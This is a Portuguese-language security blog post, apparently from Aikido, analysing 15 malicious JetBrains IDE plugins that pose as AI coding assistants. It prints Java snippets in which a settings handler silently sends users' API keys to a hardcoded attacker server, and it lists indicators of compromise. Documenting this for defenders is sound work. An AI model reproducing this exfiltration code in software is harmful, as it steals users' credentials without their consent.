Aikido

Vários plugins de IDE da JetBrains flagrados roubando chaves de IA

Escrito por
Ilyas Makari

Detectamos uma campanha coordenada de malware no JetBrains Marketplace. Pelo menos 15 plugins de IDE, publicados sob sete contas de fornecedores, compartilham o mesmo comportamento oculto. Cada um exfiltra a chave de API do provedor de IA que você armazenou em suas configurações, e juntos foram instalados cerca de 70.000 vezes.

Cada plugin se apresenta como um assistente de codificação de IA construído sobre DeepSeek e outros grandes modelos de linguagem, oferecendo chat, mensagens de commit, revisão de código, detecção de bugs e testes unitários. Eles funcionam exatamente como anunciado. No entanto, a chave de API do provedor de IA que você insere é exfiltrada para um servidor controlado pelo atacante.

As primeiras versões apareceram no final de outubro de 2025, e novas ainda estão sendo lançadas em junho de 2026. O impacto real é difícil de medir, já que as contagens de download são fáceis de inflar pelos fornecedores e as listagens do marketplace também contêm avaliações falsas de cinco estrelas.

Os plugins afetados estão listados no final do artigo.

Como o roubo funciona

Todos os quinze plugins compartilham uma base de código similar que foi renomeada e reempacotada para cada listagem. Para usar qualquer um deles, você abre o painel de configurações e cola uma chave de API para um provedor como OpenAI, SiliconFlow ou DeepSeek. O plugin precisa dessa chave para chamar o modelo em seu nome, então entregá-la parece rotineiro.

No momento em que você clica em Aplicar, o manipulador de configurações armazena sua chave e também a encaminha para o atacante usando o save() método. A chamada é acionada imediatamente na entrada da chave, sem prompt, sem tela de consentimento e sem menção em qualquer lugar na interface do usuário.

// runs inside the settings apply() handler, the instant you save your key
public static void save(String key) {
    if (key != null && key.startsWith("sk-") && ks.add(key) && StringUtils.length(key) == 51) {
        SoftwareDto dto = new SoftwareDto();
        dto.setApiKey(key);          // your provider secret
        BaseUtil.request("key", dto); // shipped off to the attacker server
    }
}


// the network call that leaves your machine
URL url = new URI("http://39.107.60[.]51/api/software/" + name).toURL();
connection.setRequestMethod("POST");
connection.setRequestProperty("X-Api-Key", "F48D2AA7CF341F782C1D");
byte[] input = new Gson().toJson(vo).getBytes(StandardCharsets.UTF_8); // vo holds your apiKey

O destino é um servidor hardcoded em 39.107.60[.]51 acessado via HTTP simples, autenticado com um token estático hardcoded no plugin. Sua chave é enviada em texto simples para um endereço que não tem nada a ver com qualquer provedor de IA legítimo.

Os plugins também operam em um nível pago. Depois que um usuário paga uma pequena taxa através da parede de doações embutida no plugin, o servidor envia uma chave de API de volta para o cliente, e o plugin começa a usar essa chave para suas chamadas de modelo em vez da sua própria, o que é bizarro, já que nenhum operador legítimo simplesmente entregaria a um usuário uma chave funcional e irrestrita para um provedor de IA pago.

WebResult webResult = BaseUtil.request("check", vo);
if (webResult.isSuccess()) {
    key = data.getApiKey();  // a key handed back by the attacker server
}


// the plugin always prefers the server supplied key
public static String getKey() {
    return StringUtils.defaultIfBlank(BaseState.key, Value.getKey());
}

Uma teoria possível é que um grupo de vítimas cola suas próprias chaves, que o servidor coleta. Um segundo grupo paga o operador e recebe uma chave funcional em troca. As chaves entregues aos usuários pagantes podem muito bem ser as chaves roubadas de todos os outros, transformando a campanha em um serviço que revende o acesso de API roubado de outras pessoas. O operador coleta dinheiro de um lado e credenciais gratuitas do outro, enquanto os verdadeiros proprietários das chaves pagam a conta.

Por que os atacantes continuam visando IDEs

Ecossistemas de plugins de editor se tornaram um alvo frequente de ataques à Supply chain, com campanhas em andamento como GlassWorm atingindo o VS Code. Máquinas de desenvolvedores são um alvo de alto valor, e a IDE fica no centro delas. Ela contém código-fonte, credenciais de Cloud, chaves de assinatura e, agora, as chaves de API para serviços de IA pagos que podem ser revendidas ou usadas para computação. Um plugin é executado sem sandbox dentro da IDE, dentro de uma ferramenta em que as pessoas confiam e deixam aberta o dia todo, o que o torna um esconderijo ideal para código que só se comporta mal em segundo plano. 

Os plugins da JetBrains passam por um processo de revisão manual antes de chegarem ao marketplace, mas uma pequena peça de lógica enterrada dentro de um plugin que funciona pode ainda passar despercebida. Trate um plugin da mesma forma que trataria qualquer dependência que é executada com seus privilégios, e seja cauteloso ao colar Secrets de longa duração em ferramentas que você não verificou.

Como a Aikido detecta isso

Se você é um usuário Aikido, verifique seu feed central e filtre por problemas de malware. Isso aparecerá como um problema crítico 100/100. O Aikido reanalisa todas as noites, mas recomendamos acionar uma reanálise manual agora.

Se você ainda não é um usuário Aikido, pode criar uma conta e conectar seus repositórios. Nossa cobertura de malware está incluída no plano gratuito, não é necessário cartão de crédito.

Para uma cobertura mais ampla em toda a sua equipe, o Device Protection da Aikido oferece visibilidade e controle sobre os pacotes de software instalados nos dispositivos da sua equipe. Ele abrange extensões de navegador, bibliotecas de código, plugins IDE e dependências de build, tudo em um só lugar. Pare o malware antes que ele seja instalado.

Para proteção futura, considere Aikido Safe Chain (open source). O Safe Chain se integra ao seu fluxo de trabalho existente, interceptando comandos npm, npx, yarn, pnpm e pnpx e verificando pacotes contra Aikido Intel antes da instalação.

Indicadores de Comprometimento

Indicadores de rede

  • IP do servidor C2: 39.107.60[.]51

Plugins afetados (nome e ID do plugin)

  • DeepSeek Junit Test (org.sm.yms.toolkit) – 1.121 downloads, lançado em 31/10/2025
  • DeepSeek Git Commit (com.json.simple.kit) – 1.894 downloads, lançado em 01/11/2025
  • DeepSeek FindBugs (org.bug.find.tools) – 1.485 downloads, lançado em 09/11/2025
  • DeepSeek AI Chat (org.translate.ai.simple) – 1.317 downloads, lançado em 23/11/2025
  • DeepSeek Dev AI (com.yy.test.ai.simple) – 740 downloads, lançado em 30/11/2025
  • DeepSeek AI Coding (com.dev.ai.toolkit) – 450 downloads, lançado em 06/12/2025
  • AI FindBugs (com.json.view.simple) – 623 downloads, lançado em 14/12/2025
  • AI Git Commitor (com.my.git.ai.kit) – 301 downloads, lançado em 10/01/2026
  • AI Coder Review (org.check.ai.ds) – 735 downloads, lançado em 2026-01-11
  • DeepSeek Coder AI (com.review.tool.code) – 3,498 downloads, lançado em 2026-01-15
  • AI Coder Assistant (org.code.assist.dev.tool) – 319 downloads, lançado em 2026-02-01
  • DeepSeek Code Review (com.coder.ai.dpt) – 278 downloads, lançado em 2026-04-18
  • CodeGPT AI Assistant (com.my.code.tools) – 25,571 downloads, lançado em 2026-06-09
  • DeepSeek AI Assist (ord.cp.code.ai.kit) – 27,727 downloads, lançado em 2026-06-10
  • Coding Simple Tool (com.dp.git.ai.tool) – 3,931 downloads, sem versões online

Contas de fornecedores

  • CodePilot (mycode)
  • StackSmith (misshewei)
  • CodeCrafter (keteme)
  • CodeWeaver (simpledev)
  • JetCode (skyblue)
  • DailyCode (dialycode)
  • ZenCoder (947cb4c8-5db1-4cf0-8182-0aae7c433bb3)
Compartilhar:

https://www.aikido.dev/blog/multiple-jetbrains-ide-plugins-caught-stealing-ai-keys

Verificar por malware

Comece Gratuitamente
4.7/5
Cansado de falsos positivos?

Experimente Aikido como 100 mil outros.
Começar Agora
Obtenha um tour personalizado

Confiado por mais de 100 mil equipes

Agende Agora
Escaneie seu aplicativo em busca de IDORs e caminhos de ataque reais

Confiado por mais de 100 mil equipes

Iniciar Escaneamento
Veja como o pentest de IA testa seu aplicativo

Confiado por mais de 100 mil equipes

Iniciar Testes

Fique seguro agora

Proteja seu código, Cloud e runtime em um único sistema centralizado.
Encontre e corrija vulnerabilidades rapidamente de forma automática.

Não é necessário cartão de crédito | Resultados da varredura em 32 segundos.